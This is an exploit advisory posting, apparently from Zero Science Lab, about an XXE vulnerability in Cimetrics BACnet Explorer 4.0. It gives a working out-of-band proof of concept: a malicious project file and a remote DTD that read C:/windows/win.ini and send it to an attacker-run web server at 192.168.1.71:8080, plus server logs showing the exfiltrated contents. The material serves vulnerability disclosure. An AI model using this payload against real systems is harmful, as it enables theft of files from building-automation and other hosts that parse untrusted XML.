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Cimetrics BACnet Explorer 4.0 XXE Injection

Cimetrics BACnet Explorer 4.0 XXE Injection
Posted Feb 13, 2017
Authored by LiquidWorm | Site zeroscience.mk

Cimetrics BACnet Explorer version 4.0 suffers from an XML eXternal Entity vulnerability that allows for remote retrieval of arbitrary data.

tags | exploit, remote, arbitrary, xxe
MD5 | 075e671e5eaca45529d2b443fa60dddc

Cimetrics BACnet Explorer 4.0 XXE Injection

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Cimetrics BACnet Explorer 4.0 XXE Vulnerability


Vendor: Cimetrics, Inc.
Product web page: https://www.cimetrics.com
Affected version: 4.0.0.0

Summary: The BACnet Explorer is a BACnet client application that
helps auto discover BACnet devices.

Desc: BACnetExplorer suffers from an XML External Entity (XXE)
vulnerability using the DTD parameter entities technique resulting
in disclosure and retrieval of arbitrary data on the affected node
via out-of-band (OOB) attack. The vulnerability is triggered when
input passed to the xml parser is not sanitized while parsing the
xml project file.

Tested on: Microsoft Windows NT 6.1.7601 Service Pack 1
mscorlib.dll: 4.0.30319.34209 built by: FX452RTMGDR
BACstac Library: 1.5.6116.0
BACstac Service: 6.8.3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5398
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5398.php


30.01.2017

--

Open file evil.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://192.168.1.71:8080/xxe.xml">
%remote;
%root;
%oob;]>


xxe.xml on the web server:

<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY % oob SYSTEM 'http://192.168.1.71:8080/?%payload;'> ">


pyhon -m SimpleHTTPServer 8080

lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1 HTTP/1.1" 301 -
lab-PC - - [30/Jan/2017 00:47:44] "GET /?%5BMail%5D%0D%0ACMCDLLNAME32=mapi32.dll%0D%0ACMC=1%0D%0AMAPI=1%0D%0AMAPIX=1%0D%0AMAPIXVER=1.0.0.1%0D%0AOLEMessaging=1/ HTTP/1.1" 200 -
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